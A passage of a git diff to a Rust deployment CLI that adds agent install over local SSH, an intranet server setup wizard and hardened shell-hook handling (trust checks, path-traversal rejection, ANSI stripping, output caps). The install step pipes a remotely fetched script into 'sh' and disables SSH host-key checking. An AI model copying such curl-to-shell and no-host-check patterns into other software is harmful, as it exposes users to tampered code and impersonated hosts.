+                    (Some(h), Some(c)) => Some(format!("{}:{}/{}", h, c, proto)),
+                    (None, Some(c)) => Some(format!("{}/{}", c, proto)),
+                    (Some(h), None) => Some(h.to_string()),
+                    (None, None) => None,
+                }
+            } else {
+                None
+            }
+        })
+        .collect();
+
+    if parts.is_empty() {
+        "-".to_string()
+    } else {
+        parts.join(", ")
+    }
+}
+
 fn visible_containers(containers: &[serde_json::Value]) -> Vec<&serde_json::Value> {
     containers
         .iter()
@@ -1943,10 +2103,11 @@ fn print_snapshot_summary(
     println!("{}", fmt::separator(STATUS_SEP_WIDTH));
 
     // Containers
+    let apps = snap.get("apps").and_then(|v| v.as_array()).map(|v| v.as_slice());
     if let Some(containers) = live_containers {
-        print_containers_summary(containers);
+        print_containers_summary_with_apps(containers, apps);
     } else if let Some(containers) = snap.get("containers").and_then(|v| v.as_array()) {
-        print_containers_summary(containers);
+        print_containers_summary_with_apps(containers, apps);
     }
 
     println!("{}", fmt::separator(STATUS_SEP_WIDTH));
@@ -2226,16 +2387,22 @@ impl CallableTrait for AgentHistoryCommand {
 
 // ── Install (deploy Status Panel to existing server) ─
 
-/// `stacker agent install [--file <path>] [--persist-config] [--json]`
+/// `stacker agent install [--file <path>] [--persist-config] [--json] [--local]`
+///
+/// Deploys the Status Panel agent.
 ///
-/// Deploys the Status Panel agent to an existing server that was previously
-/// deployed without it. Reads the project identity from stacker.yml, finds
-/// the corresponding project and server on the Stacker API, and triggers
-/// a deploy with only the statuspanel feature enabled.
+/// For cloud / public-IP servers the command routes through the Stacker install
+/// service (Ansible over cloud-initiated SSH). For intranet servers — detected
+/// automatically when `deploy.server.host` is a private RFC1918 address, or
+/// forced with `--local` — the CLI itself SSHes to the host, runs the status
+/// panel install script, and links the agent via the Stacker API. No inbound
+/// connection from the cloud is needed.
 pub struct AgentInstallCommand {
     pub file: Option<String>,
     pub persist_config: bool,
     pub json: bool,
+    /// Force the local-SSH path even for public-IP servers.
+    pub local: bool,
 }
 
 impl AgentInstallCommand {
@@ -2244,8 +2411,152 @@ impl AgentInstallCommand {
             file,
             persist_config,
             json,
+            local: false,
         }
     }
+
+    pub fn with_local(mut self, local: bool) -> Self {
+        self.local = local;
+        self
+    }
+}
+
+use crate::helpers::ip::is_private_host;
+
+/// Install the Status Panel agent directly from the CLI over local SSH.
+///
+/// Used when the target server is on an intranet and the Stacker cloud install
+/// service cannot reach it. Uses the system `ssh` binary (not russh) to avoid
+/// macOS routing stack issues (EHOSTUNREACH) with private IPs. Steps:
+///   1. Call `POST /api/v1/agent/link` to mint agent credentials
+///   2. Run the status panel install script on the remote via system `ssh`
+///   3. Write `~/stacker/.agent.env` with `AGENT_ID`, `AGENT_TOKEN`, `DASHBOARD_URL`
+///   4. Start the agent in daemon mode
+async fn install_agent_via_local_ssh(
+    server_cfg: &crate::cli::config_parser::ServerConfig,
+    deployment_hash: &str,
+    ctx: &CliRuntime,
+    stacker_url: &str,
+) -> Result<(), CliError> {
+    let key_path = server_cfg
+        .ssh_key
+        .as_ref()
+        .map(|p| {
+            let s = p.to_string_lossy();
+            if s.starts_with("~/") {
+                let home = std::env::var("HOME").unwrap_or_else(|_| ".".to_string());
+                std::path::PathBuf::from(home).join(&s[2..])
+            } else {
+                p.clone()
+            }
+        })
+        .ok_or_else(|| {
+            CliError::ConfigValidation(
+                "deploy.server.ssh_key is required for local agent install.\n\
+                 Set it in stacker.yml or run `stacker config setup server`."
+                    .to_string(),
+            )
+        })?;
+
+    if !key_path.exists() {
+        return Err(CliError::ConfigValidation(format!(
+            "SSH key not found: {}",
+            key_path.display()
+        )));
+    }
+
+    let user_at_host = format!("{}@{}", server_cfg.user, server_cfg.host);
+    let ssh_args = [
+        "-i", key_path.to_str().unwrap_or(""),
+        "-p", &server_cfg.port.to_string(),
+        "-o", "StrictHostKeyChecking=no",
+        "-o", "BatchMode=yes",
+    ];
+
+    // Helper: run a command on the remote, stream output, return exit code.
+    let ssh_run = |cmd: &str| -> Result<std::process::Output, CliError> {
+        std::process::Command::new("ssh")
+            .args(&ssh_args)
+            .arg(&user_at_host)
+            .arg(cmd)
+            .output()
+            .map_err(|e| CliError::ConfigValidation(format!("ssh exec failed: {}", e)))
+    };
+
+    // 1. Mint agent credentials via the Stacker API (outbound, always works)
+    eprintln!("  Linking agent to deployment {}...", deployment_hash);
+    let fingerprint = serde_json::json!({ "host": server_cfg.host, "source": "cli_local_install" });
+    let (agent_id, agent_token, linked_hash) =
+        ctx.client.agent_link(deployment_hash, fingerprint).await?;
+    eprintln!("  Agent linked (id: {}).", agent_id);
+
+    // 2. Install the status panel binary into ~/.local/bin (no sudo needed).
+    // The install.sh respects INSTALL_DIR; we avoid /usr/local/bin which
+    // requires sudo and prompts for a TTY we don't have in BatchMode.
+    eprintln!("  Running status panel install script on {}...", server_cfg.host);
+    let install_out = ssh_run(
+        "mkdir -p $HOME/.local/bin && \
+         curl -sSfL https://raw.githubusercontent.com/trydirect/status/master/install.sh \
+         | INSTALL_DIR=$HOME/.local/bin sh",
+    )?;
+    if !install_out.status.success() {
+        let stderr = String::from_utf8_lossy(&install_out.stderr);
+        return Err(CliError::ConfigValidation(format!(
+            "Install script failed (exit {}):\n{}",
+            install_out.status.code().unwrap_or(-1),
+            stderr.trim()
+        )));
+    }
+    eprintln!("  Binary installed.");
+
+    // 3. Write .env into the agent's working directory.
+    // The status panel binary loads .env from its current working directory
+    // via dotenvy::dotenv() at startup.  We use ~/stacker/ as the working dir.
+    let env_content = format!(
+        "AGENT_ID={}\nAGENT_TOKEN={}\nDASHBOARD_URL={}\nDEPLOYMENT_HASH={}\nCOMPOSE_AGENT_ENABLED=true\n",
+        agent_id, agent_token, stacker_url, linked_hash
+    );
+    use base64::Engine as _;
+    let env_b64 = base64::engine::general_purpose::STANDARD.encode(&env_content);
+    let write_cmd = format!(
+        "mkdir -p ~/stacker && printf '%s' '{}' | base64 -d > ~/stacker/.env && chmod 600 ~/stacker/.env",
+        env_b64
+    );
+    let write_out = ssh_run(&write_cmd)?;
+    if !write_out.status.success() {
+        let stderr = String::from_utf8_lossy(&write_out.stderr);
+        return Err(CliError::ConfigValidation(format!(
+            "Failed to write ~/stacker/.env: {}",
+            stderr.trim()
+        )));
+    }
+
+    // 4. Generate config.json (required by the daemon) then start it.
+    // `status init` creates config.json with defaults; without --force it
+    // won't overwrite the .env we already wrote.
+    //
+    // Do NOT use `status --daemon`: that flag triggers POSIX daemonize() which
+    // forks and redirects its own stdout/stderr to /dev/null — the polling loop
+    // runs silently and the log file only ever gets the banner.
+    //
+    // Instead run `status` in foreground mode and use setsid+nohup to detach
+    // from the SSH session. This keeps all log output going to status.log.
+    let start_cmd = "cd ~/stacker && \
+        $HOME/.local/bin/status init 2>/dev/null; \
+        pkill -f '$HOME/.local/bin/status' 2>/dev/null; \
+        setsid nohup $HOME/.local/bin/status > ~/stacker/status.log 2>&1 &";
+    let _ = ssh_run(start_cmd)?;
+
+    eprintln!();
+    eprintln!("✓ Status Panel agent installed on {}.", server_cfg.host);
+    eprintln!("  Agent ID:         {}", agent_id);
+    eprintln!("  Deployment:       {}", linked_hash);
+    eprintln!("  Working dir:      ~/stacker/");
+    eprintln!("  Config:           ~/stacker/.env");
+    eprintln!("  The agent is now polling {} for deploy commands.", stacker_url);
+    eprintln!("  Run `stacker agent status` to verify connectivity.");
+
+    Ok(())
 }
 
 fn fallback_server_config_for_agent_install(
@@ -2499,7 +2810,96 @@ impl CallableTrait for AgentInstallCommand {
             .clone()
             .unwrap_or_else(|| config.name.clone());
 
+        // Detect intranet server: use local SSH path when the host is a private IP
+        // (or --local is explicitly set) so the cloud install service is bypassed.
+        // If there's no deploy.server at all (e.g. cloud-deployed project), always
+        // use the cloud install path.
+        let use_local_ssh = match config.deploy.server.as_ref() {
+            Some(s) => self.local || is_private_host(s.host.as_str()),
+            None => self.local,
+        };
+
         let ctx = CliRuntime::new("agent install")?;
+
+        if use_local_ssh {
+            let server_cfg = config.deploy.server.clone().ok_or_else(|| {
+                CliError::ConfigValidation(
+                    "deploy.server must be configured for local agent install.\n\
+                     Run `stacker config setup server` first."
+                        .to_string(),
+                )
+            })?;
+
+            let stacker_url = std::env::var("STACKER_URL")
+                .unwrap_or_else(|_| stacker_client::DEFAULT_STACKER_URL.to_string());
+
+            eprintln!(
+                "Server {} is on a private network — using local SSH to install agent.",
+                server_cfg.host
+            );
+            eprintln!("(Use --local to force this path for public-IP servers.)");
+            eprintln!();
+
+            // Find the deployment hash for this project
+            let pb = progress::spinner("Resolving deployment...");
+            let deployment_hash: Result<String, CliError> = ctx.block_on(async {
+                let project = ctx
+                    .client
+                    .find_project_by_name(&project_name)
+                    .await?
+                    .ok_or_else(|| {
+                        CliError::ConfigValidation(format!(
+                            "Project '{}' not found on the Stacker server.\n\
+                             Deploy the project first with: stacker deploy --target server",
+                            project_name
+                        ))
+                    })?;
+
+                let deployments = ctx.client.list_deployments(Some(project.id), Some(1)).await?;
+                deployments
+                    .into_iter()
+                    .next()
+                    .map(|d| d.deployment_hash)
+                    .ok_or_else(|| {
+                        CliError::ConfigValidation(format!(
+                            "No active deployment found for project '{}'.\n\
+                             Deploy first with: stacker deploy --target server",
+                            project_name
+                        ))
+                    })
+            });
+            progress::finish_success(&pb, "Deployment resolved");
+
+            let deployment_hash = deployment_hash?;
+
+            ctx.block_on(install_agent_via_local_ssh(
+                &server_cfg,
+                &deployment_hash,
+                &ctx,
+                &stacker_url,
+            ))?;
+
+            // Persist the deployment hash into stacker.yml so that subsequent
+            // `stacker agent status/logs` commands can find it without --deployment.
+            if config_path.exists() {
+                if let Ok(mut cfg) =
+                    crate::cli::config_parser::StackerConfig::from_file_raw(&config_path)
+                {
+                    cfg.deploy.deployment_hash = Some(deployment_hash.clone());
+                    if let Ok(yaml) = serde_yaml::to_string(&cfg) {
+                        let _ = std::fs::write(&config_path, yaml);
+                    }
+                }
+            }
+
+            persist_agent_install_config_if_requested(&config_path, self.persist_config)?
+                .as_ref()
+                .map(print_agent_install_config_persistence);
+
+            return Ok(());
+        }
+
+        // ── Cloud install path (public-IP servers) ────────────────────────────
         let pb = progress::spinner("Installing Status Panel agent");
 
         let result: Result<stacker_client::DeployResponse, CliError> = ctx.block_on(async {
diff --git a/src/console/commands/cli/config.rs b/src/console/commands/cli/config.rs
index b7234d1d..124aa021 100644
--- a/src/console/commands/cli/config.rs
+++ b/src/console/commands/cli/config.rs
@@ -436,6 +436,7 @@ pub fn run_generate_remote_payload(
         ssh_key: None,
         key: None,
         server: None,
+        public_ports: Vec::new(),
     });
 
     config.deploy.target = DeployTarget::Cloud;
@@ -449,6 +450,7 @@ pub fn run_generate_remote_payload(
         ssh_key: existing_cloud.ssh_key,
         key: existing_cloud.key,
         server: existing_cloud.server,
+        public_ports: existing_cloud.public_ports,
     });
 
     let backup_path = format!("{}.bak", config_path);
@@ -505,6 +507,7 @@ fn apply_cloud_settings(
         ssh_key,
         key: None,
         server: None,
+        public_ports: Vec::new(),
     });
 }
 
@@ -836,6 +839,7 @@ pub fn run_fix_interactive(config_path: &str) -> Result<Vec<String>, CliError> {
                     ssh_key,
                     key: None,
                     server: None,
+                    public_ports: Vec::new(),
                 });
 
                 applied.push("Set deploy.target=cloud and deploy.cloud.*".to_string());
@@ -1111,6 +1115,144 @@ pub struct ConfigFixCommand {
     pub interactive: bool,
 }
 
+/// `stacker config setup server [--ip <IP>] [--user <USER>] [--port <PORT>] [--key <PATH>] [--file stacker.yml]`
+///
+/// Register an intranet/local-network server as a deploy target.
+/// Checks for an existing server config, then prompts whether to save to
+/// stacker.yml or to a deployment lock file.
+pub struct ConfigSetupServerCommand {
+    pub file: Option<String>,
+    pub ip: Option<String>,
+    pub user: Option<String>,
+    pub port: Option<u16>,
+    pub key: Option<String>,
+}
+
+impl ConfigSetupServerCommand {
+    pub fn new(
+        file: Option<String>,
+        ip: Option<String>,
+        user: Option<String>,
+        port: Option<u16>,
+        key: Option<String>,
+    ) -> Self {
+        Self { file, ip, user, port, key }
+    }
+}
+
+impl CallableTrait for ConfigSetupServerCommand {
+    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        let project_dir = std::env::current_dir()?;
+        let config_path_str = resolve_config_path(&self.file);
+        let config_path = project_dir.join(&config_path_str);
+
+        // Load config if it exists; allow running without one (lock-only path).
+        let existing_server = if config_path.exists() {
+            StackerConfig::from_file_raw(&config_path)
+                .ok()
+                .and_then(|c| c.deploy.server)
+        } else {
+            None
+        };
+
+        if let Some(ref s) = existing_server {
+            eprintln!(
+                "Note: stacker.yml already has a server configured (host: {}).",
+                s.host
+            );
+            eprintln!("Continuing will overwrite it.");
+        }
+
+        // Collect host
+        let host = match self.ip.clone() {
+            Some(h) if !h.trim().is_empty() => h,
+            _ => {
+                let mut h = String::new();
+                while h.trim().is_empty() {
+                    h = prompt_line("Server IP or hostname (e.g. 192.168.100.245): ")?;
+                }
+                h
+            }
+        };
+
+        // Collect user
+        let user_default = self
+            .user
+            .clone()
+            .or_else(|| existing_server.as_ref().map(|s| s.user.clone()))
+            .unwrap_or_else(|| "root".to_string());
+        let user = prompt_with_default("SSH user", &user_default)?;
+
+        // Collect port
+        let port_default = self
+            .port
+            .or_else(|| existing_server.as_ref().map(|s| s.port))
+            .unwrap_or(22);
+        let port_str = prompt_with_default("SSH port", &port_default.to_string())?;
+        let port = port_str.parse::<u16>().unwrap_or(22);
+
+        // Collect SSH key
+        let key_default = self
+            .key
+            .clone()
+            .or_else(|| {
+                existing_server
+                    .as_ref()
+                    .and_then(|s| s.ssh_key.clone())
+                    .map(|p| p.to_string_lossy().to_string())
+            })
+            .unwrap_or_else(|| "~/.ssh/id_ed25519".to_string());
+        let key_input = prompt_with_default("SSH key path (leave empty to skip)", &key_default)?;
+        let ssh_key = if key_input.trim().is_empty() {
+            None
+        } else {
+            Some(PathBuf::from(&key_input))
+        };
+
+        let server_cfg = ServerConfig { host, user, ssh_key, port };
+
+        eprintln!();
+        eprintln!("Server details:");
+        eprintln!("  host: {}", server_cfg.host);
+        eprintln!("  user: {}", server_cfg.user);
+        eprintln!("  port: {}", server_cfg.port);
+        if let Some(ref k) = server_cfg.ssh_key {
+            eprintln!("  ssh_key: {}", k.display());
+        }
+        eprintln!();
+
+        // Ask where to save
+        eprintln!("Where would you like to save this server configuration?");
+        eprintln!("  1) stacker.yml  (persists across fresh clones)");
+        eprintln!("  2) Lock file    (.stacker/deployment-server.lock, ignored by git)");
+        let choice = prompt_with_default("Choice", "1")?;
+
+        match choice.trim() {
+            "2" => {
+                let lock = DeploymentLock::for_server(&server_cfg);
+                let lock_path = lock.save(&project_dir)?;
+                eprintln!();
+                eprintln!("✓ Saved to lock file: {}", lock_path.display());
+                eprintln!("  Run `stacker deploy --target server` to deploy.");
+            }
+            _ => {
+                if !config_path.exists() {
+                    return Err(Box::new(CliError::ConfigNotFound { path: config_path }));
+                }
+                let mut config = StackerConfig::from_file_raw(&config_path)?;
+                config.deploy.target = DeployTarget::Server;
+                config.deploy.server = Some(server_cfg);
+                DeploymentLock::write_config(&config, &config_path)?;
+                eprintln!();
+                eprintln!("✓ stacker.yml updated (backup: {}.bak).", config_path_str);
+                eprintln!("  Run `stacker deploy` to deploy to this server.");
+            }
+        }
+
+        Ok(())
+    }
+}
+
 /// `stacker config setup cloud [--file stacker.yml]`
 ///
 /// Interactive cloud setup wizard that writes deploy.target/deploy.cloud.
diff --git a/src/console/commands/cli/deploy.rs b/src/console/commands/cli/deploy.rs
index f2a69ecf..833c4dc3 100644
--- a/src/console/commands/cli/deploy.rs
+++ b/src/console/commands/cli/deploy.rs
@@ -21,12 +21,13 @@ use crate::cli::generator::compose::ComposeDefinition;
 use crate::cli::generator::dockerfile::DockerfileBuilder;
 use crate::cli::install_runner::{
     resolve_docker_registry_credentials, strategy_for, CommandExecutor, DeployContext,
-    DeployResult, ShellExecutor,
+    DeployResult, HookPolicy, ShellExecutor,
 };
 use crate::cli::progress;
 use crate::cli::stacker_client::{self, StackerClient};
 use crate::console::commands::CallableTrait;
 use crate::helpers::ip::extract_ipv4_from_text;
+use crate::helpers::security_validator::validate_shell_scripts;
 use crate::helpers::ssh_client;
 
 /// Default config filename.
@@ -1628,6 +1629,7 @@ fn extract_host_port_from_string(spec: &str) -> Option<String> {
         return None;
     }
 
+    let protocol = trimmed.rsplit_once('/').map(|(_, proto)| proto.trim().to_lowercase());
     let without_protocol = trimmed.split('/').next().unwrap_or(trimmed);
     let parts: Vec<&str> = without_protocol.split(':').collect();
 
@@ -1635,10 +1637,16 @@ fn extract_host_port_from_string(spec: &str) -> Option<String> {
         return None;
     }
 
-    parts
+    let mut result = parts
         .get(parts.len().saturating_sub(2))
         .map(|part| part.trim().to_string())
-        .filter(|part| !part.is_empty())
+        .filter(|part| !part.is_empty())?;
+
+    if let Some(proto) = protocol {
+        result.push_str(&format!("/{}", proto));
+    }
+
+    Some(result)
 }
 
 /// Detect host-port collisions between stacker.yml `services:` and a user-supplied compose file.
@@ -2056,6 +2064,9 @@ fn merge_cloud_config_from_info(
         ssh_key: existing.and_then(|cloud| cloud.ssh_key.clone()),
         key: Some(cloud_info.name.clone()),
         server: existing.and_then(|cloud| cloud.server.clone()),
+        public_ports: existing
+            .map(|cloud| cloud.public_ports.clone())
+            .unwrap_or_default(),
     })
 }
 
@@ -2147,6 +2158,11 @@ pub struct DeployCommand {
     pub plan: bool,
     /// Revalidate and apply a previously generated plan fingerprint.
     pub apply_plan: Option<String>,
+    /// Skip every shell hook regardless of provenance (--no-hooks).
+    pub no_hooks: bool,
+    /// Run hooks even when the stacker.yml is marketplace-generated
+    /// (--allow-untrusted-hooks). No-op for user-authored files.
+    pub allow_untrusted_hooks: bool,
 }
 
 impl DeployCommand {
@@ -2173,6 +2189,23 @@ impl DeployCommand {
             runtime: "runc".to_string(),
             plan: false,
             apply_plan: None,
+            no_hooks: false,
+            allow_untrusted_hooks: false,
+        }
+    }
+
+    /// Builder method for --no-hooks / --allow-untrusted-hooks flags.
+    pub fn with_hook_flags(mut self, no_hooks: bool, allow_untrusted_hooks: bool) -> Self {
+        self.no_hooks = no_hooks;
+        self.allow_untrusted_hooks = allow_untrusted_hooks;
+        self
+    }
+
+    /// Resolve the DeployCommand's hook flags into a [`HookPolicy`].
+    pub fn hook_policy(&self) -> HookPolicy {
+        HookPolicy {
+            no_hooks: self.no_hooks,
+            allow_untrusted: self.allow_untrusted_hooks,
         }
     }
 
@@ -2276,7 +2309,12 @@ impl DeployCommand {
         // Find compose file: prefer deploy.compose_file from stacker.yml, else default.
         let compose_path = stacker_config
             .as_ref()
-            .and_then(|c| c.deploy.compose_file.as_deref().map(|f| project_dir.join(f)))
+            .and_then(|c| {
+                c.deploy
+                    .compose_file
+                    .as_deref()
+                    .map(|f| project_dir.join(f))
+            })
             .unwrap_or_else(|| project_dir.join("docker-compose.yml"));
 
         if !compose_path.exists() {
@@ -2314,20 +2352,19 @@ impl DeployCommand {
             .to_string();
 
         // Auto-inject default_network when the service is an NginxProxyManager upstream.
-        let compose_content =
-            if let Some(ref cfg) = stacker_config {
-                if crate::cli::compose_service_sync::inject_npm_proxy_network(
-                    &mut compose_doc,
-                    service,
-                    &cfg.proxy,
-                ) {
-                    serde_yaml::to_string(&compose_doc)?
-                } else {
-                    compose_content
-                }
+        let compose_content = if let Some(ref cfg) = stacker_config {
+            if crate::cli::compose_service_sync::inject_npm_proxy_network(
+                &mut compose_doc,
+                service,
+                &cfg.proxy,
+            ) {
+                serde_yaml::to_string(&compose_doc)?
             } else {
                 compose_content
-            };
+            }
+        } else {
+            compose_content
+        };
 
         let ctx = crate::cli::runtime::CliRuntime::new("deploy")?;
         let hash = resolve_deployment_hash(&None, &ctx)?;
@@ -2388,7 +2425,10 @@ impl DeployCommand {
                         Ok::<_, CliError>(())
                     });
                     if let Err(e) = registered {
-                        eprintln!("Warning: deployed successfully but app registration failed: {}", e);
+                        eprintln!(
+                            "Warning: deployed successfully but app registration failed: {}",
+                            e
+                        );
                     }
                 }
             }
@@ -2420,9 +2460,262 @@ pub struct RemoteDeployOverrides {
     pub server_name: Option<String>,
 }
 
+const HOOK_TIMEOUT: Duration = Duration::from_secs(300);
+
+/// Maximum bytes of hook stdout/stderr we relay to the terminal before
+/// truncating. Set at 1 MiB — comfortable for normal build output, small
+/// enough that a hostile hook can't blank the terminal / flood the pager /
+/// OOM the CLI. See audit M4.
+pub(crate) const HOOK_OUTPUT_MAX_BYTES: usize = 1_048_576;
+
+/// Suffix appended when `sanitize_hook_output` truncates. Users see this in
+/// their terminal; tests match on it verbatim. Keep it stable.
+pub(crate) const HOOK_OUTPUT_TRUNCATION_MARKER: &str =
+    "\n[stacker: hook output truncated to 1 MiB]";
+
+/// Strip terminal control sequences and cap length before we relay hook
+/// stdout/stderr to the user's terminal.
+///
+/// Attack surface (audit M4 + M5):
+///   * ANSI CSI (`ESC [ … final`) — cursor jumps, screen erase, colours.
+///   * ANSI OSC (`ESC ] … BEL` or `ESC ] … ESC \`) — set window title,
+///     hyperlink smuggling.
+///   * Single-char / two-byte ESC sequences (`ESC c`, `ESC 7`, etc.).
+///   * BEL / audible bell — harmless individually, but common in the
+///     tail of OSC sequences and worth dropping as a defensive measure.
+///
+/// This is intentionally hand-rolled — no crate dependency for what
+/// amounts to a few hundred lines of state machine.
+pub(crate) fn sanitize_hook_output(raw: &str) -> String {
+    let stripped = strip_ansi_sequences(raw);
+    if stripped.len() <= HOOK_OUTPUT_MAX_BYTES {
+        return stripped;
+    }
+    // Truncate at a UTF-8 char boundary at or below the cap.
+    let mut cutoff = HOOK_OUTPUT_MAX_BYTES;
+    while cutoff > 0 && !stripped.is_char_boundary(cutoff) {
+        cutoff -= 1;
+    }
+    let mut out = String::with_capacity(cutoff + HOOK_OUTPUT_TRUNCATION_MARKER.len());
+    out.push_str(&stripped[..cutoff]);
+    out.push_str(HOOK_OUTPUT_TRUNCATION_MARKER);
+    out
+}
+
+fn strip_ansi_sequences(raw: &str) -> String {
+    let mut out = String::with_capacity(raw.len());
+    let bytes = raw.as_bytes();
+    let mut i = 0;
+    while i < bytes.len() {
+        let b = bytes[i];
+        // Drop stray BEL — commonly used as OSC terminator; on its own
+        // it's just noise.
+        if b == 0x07 {
+            i += 1;
+            continue;
+        }
+        if b != 0x1b {
+            out.push(b as char);
+            i += 1;
+            continue;
+        }
+        // We're on ESC. Peek the next byte to classify.
+        let next = bytes.get(i + 1).copied();
+        match next {
+            // CSI: ESC [ params final. Final byte is 0x40..=0x7E,
+            // preceded by any number of params/intermediate bytes.
+            Some(b'[') => {
+                let mut j = i + 2;
+                while j < bytes.len() {
+                    let c = bytes[j];
+                    if (0x40..=0x7E).contains(&c) {
+                        j += 1; // consume the final byte
+                        break;
+                    }
+                    j += 1;
+                }
+                i = j;
+            }
+            // OSC: ESC ] payload (BEL | ESC \). We already strip BEL
+            // above, so we just scan until either BEL, ST (ESC \), or
+            // end of input.
+            Some(b']') => {
+                let mut j = i + 2;
+                while j < bytes.len() {
+                    let c = bytes[j];
+                    if c == 0x07 {
+                        j += 1;
+                        break;
+                    }
+                    if c == 0x1b && bytes.get(j + 1) == Some(&b'\\') {
+                        j += 2;
+                        break;
+                    }
+                    j += 1;
+                }
+                i = j;
+            }
+            // Two-byte ESC + intermediate (` ` through `/`) sequences,
+            // and ESC + single "F" final (`0`–`~`). Consume both.
+            Some(_) => {
+                i += 2;
+            }
+            None => {
+                // Lonely ESC at end of input — drop.
+                i += 1;
+            }
+        }
+    }
+    out
+}
+
+fn run_hook(
+    executor: &dyn CommandExecutor,
+    project_dir: &Path,
+    hook: &Option<PathBuf>,
+    hook_name: &str,
+    policy: HookPolicy,
+    origin_trusted: bool,
+) -> Result<(), CliError> {
+    if let Some(script) = hook {
+        // Policy guard 1: --no-hooks skips every hook unconditionally.
+        if policy.no_hooks {
+            eprintln!("  Hook ({}) skipped (--no-hooks)", hook_name);
+            return Ok(());
+        }
+
+        // Policy guard 2: marketplace-generated configs require an
+        // explicit --allow-untrusted-hooks opt-in. This is the C4
+        // defence: after `stacker install <template>` writes a
+        // stacker.yml with a hooks: block, running `stacker deploy` on
+        // that file must NOT execute hooks silently just because the
+        // user typed the deploy command.
+        if !origin_trusted && !policy.allow_untrusted {
+            return Err(CliError::HookRejected {
+                hook_name: hook_name.to_string(),
+                reason: format!(
+                    "this stacker.yml was generated by the marketplace and has not been \
+                     marked trusted. Review the hook script, then either remove the '{}' \
+                     marker line from the top of stacker.yml, or re-run with \
+                     --allow-untrusted-hooks. Use --no-hooks to skip all hooks.",
+                    crate::cli::config_parser::MARKETPLACE_ORIGIN_MARKER,
+                ),
+            });
+        }
+
+        let script_path = if script.is_absolute() {
+            script.clone()
+        } else {
+            project_dir.join(script)
+        };
+        if !script_path.exists() {
+            return Err(CliError::HookRejected {
+                hook_name: hook_name.to_string(),
+                reason: format!("script not found: {}", script_path.display()),
+            });
+        }
+
+        // Security: canonicalize the resolved path and reject traversal outside project_dir
+        let canonical = script_path
+            .canonicalize()
+            .map_err(|e| CliError::HookRejected {
+                hook_name: hook_name.to_string(),
+                reason: format!(
+                    "cannot canonicalize hook path '{}': {}",
+                    script_path.display(),
+                    e
+                ),
+            })?;
+        let project_canonical = project_dir
+            .canonicalize()
+            .unwrap_or_else(|_| project_dir.to_path_buf());
+        if !canonical.starts_with(&project_canonical) {
+            return Err(CliError::HookRejected {
+                hook_name: hook_name.to_string(),
+                reason: format!(
+                    "path '{}' resolves outside the project directory",
+                    script_path.display()
+                ),
+            });
+        }
+
+        eprintln!("  Hook ({}) running: {}", hook_name, canonical.display());
+
+        // Security: validate script content for malicious patterns (L3: cap size at 1 MB)
+        let script_content = std::fs::read(&script_path).ok().filter(|b| b.len() <= 1_048_576)
+            .and_then(|b| String::from_utf8(b).ok());
+        match script_content {
+            Some(content) => {
+                let validation = validate_shell_scripts(&[(hook_name, &content)]);
+                if !validation.passed {
+                    let critical: Vec<&str> = validation
+                        .details
+                        .iter()
+                        .filter(|d| d.starts_with("[CRITICAL]"))
+                        .map(|s| s.as_str())
+                        .collect();
+                    if !critical.is_empty() {
+                        return Err(CliError::HookRejected {
+                            hook_name: hook_name.to_string(),
+                            reason: format!(
+                                "rejected by security validation:\n  {}",
+                                critical.join("\n  ")
+                            ),
+                        });
+                    }
+                    for warning in validation.details.iter().filter(|d| d.starts_with("[WARNING]"))
+                    {
+                        eprintln!("  [WARN] Hook '{}': {}", hook_name, warning);
+                    }
+                }
+            }
+            None => {
+                eprintln!("  [WARN] Could not read (or too large) '{}' for validation", script_path.display());
+            }
+        }
+
+        let script_str = canonical.to_string_lossy().to_string();
+        let output = executor.execute_with_timeout(
+            "sh",
+            &[&script_str],
+            HOOK_TIMEOUT,
+            Some(project_dir),
+        )?;
+
+        // Phase 8 defence (audit M4 + M5): a hostile hook can dump
+        // gigabytes of stdout to OOM the CLI, or emit ANSI escape
+        // sequences to clear the terminal / fake a prompt / set the
+        // window title. Sanitize both channels before they touch the
+        // user's terminal. The size cap is enforced string-level here;
+        // the pipe-level cap is a job for ShellExecutor's spawn code.
+        if !output.stdout.is_empty() {
+            println!("{}", sanitize_hook_output(&output.stdout));
+        }
+        if !output.stderr.is_empty() {
+            eprintln!("{}", sanitize_hook_output(&output.stderr));
+        }
+        if !output.success() {
+            return Err(CliError::DeployFailed {
+                target: crate::cli::config_parser::DeployTarget::Local,
+                reason: format!(
+                    "Hook '{}' failed: {}",
+                    hook_name,
+                    sanitize_hook_output(output.stderr.trim())
+                ),
+            });
+        }
+        eprintln!("  Hook ({}) completed", hook_name);
+    }
+    Ok(())
+}
+
 /// Core deploy logic, extracted for testability.
 ///
 /// Takes injectable `CommandExecutor` so tests can mock shell calls.
+///
+/// Uses `HookPolicy::default()` — hooks are allowed for user-authored
+/// configs and refused for marketplace-generated ones. Use
+/// [`run_deploy_with_policy`] to override.
 #[allow(clippy::too_many_arguments)]
 pub fn run_deploy(
     project_dir: &Path,
@@ -2435,7 +2728,37 @@ pub fn run_deploy(
     remote_overrides: &RemoteDeployOverrides,
     runtime: &str,
 ) -> Result<DeployResult, CliError> {
-    run_deploy_for_environment(
+    run_deploy_with_policy(
+        project_dir,
+        config_file,
+        target_override,
+        dry_run,
+        force_rebuild,
+        force_new,
+        executor,
+        remote_overrides,
+        runtime,
+        HookPolicy::default(),
+    )
+}
+
+/// Like [`run_deploy`] but with an explicit [`HookPolicy`]. This is the
+/// hook-safe entry point used by the CLI when the user passes
+/// `--no-hooks` or `--allow-untrusted-hooks`.
+#[allow(clippy::too_many_arguments)]
+pub fn run_deploy_with_policy(
+    project_dir: &Path,
+    config_file: Option<&str>,
+    target_override: Option<&str>,
+    dry_run: bool,
+    force_rebuild: bool,
+    force_new: bool,
+    executor: &dyn CommandExecutor,
+    remote_overrides: &RemoteDeployOverrides,
+    runtime: &str,
+    hook_policy: HookPolicy,
+) -> Result<DeployResult, CliError> {
+    run_deploy_for_environment_with_policy(
         project_dir,
         config_file,
         target_override,
@@ -2446,6 +2769,7 @@ pub fn run_deploy(
         executor,
         remote_overrides,
         runtime,
+        hook_policy,
     )
 }
 
@@ -2461,6 +2785,35 @@ pub fn run_deploy_for_environment(
     executor: &dyn CommandExecutor,
     remote_overrides: &RemoteDeployOverrides,
     runtime: &str,
+) -> Result<DeployResult, CliError> {
+    run_deploy_for_environment_with_policy(
+        project_dir,
+        config_file,
+        target_override,
+        environment_override,
+        dry_run,
+        force_rebuild,
+        force_new,
+        executor,
+        remote_overrides,
+        runtime,
+        HookPolicy::default(),
+    )
+}
+
+#[allow(clippy::too_many_arguments)]
+pub fn run_deploy_for_environment_with_policy(
+    project_dir: &Path,
+    config_file: Option<&str>,
+    target_override: Option<&str>,
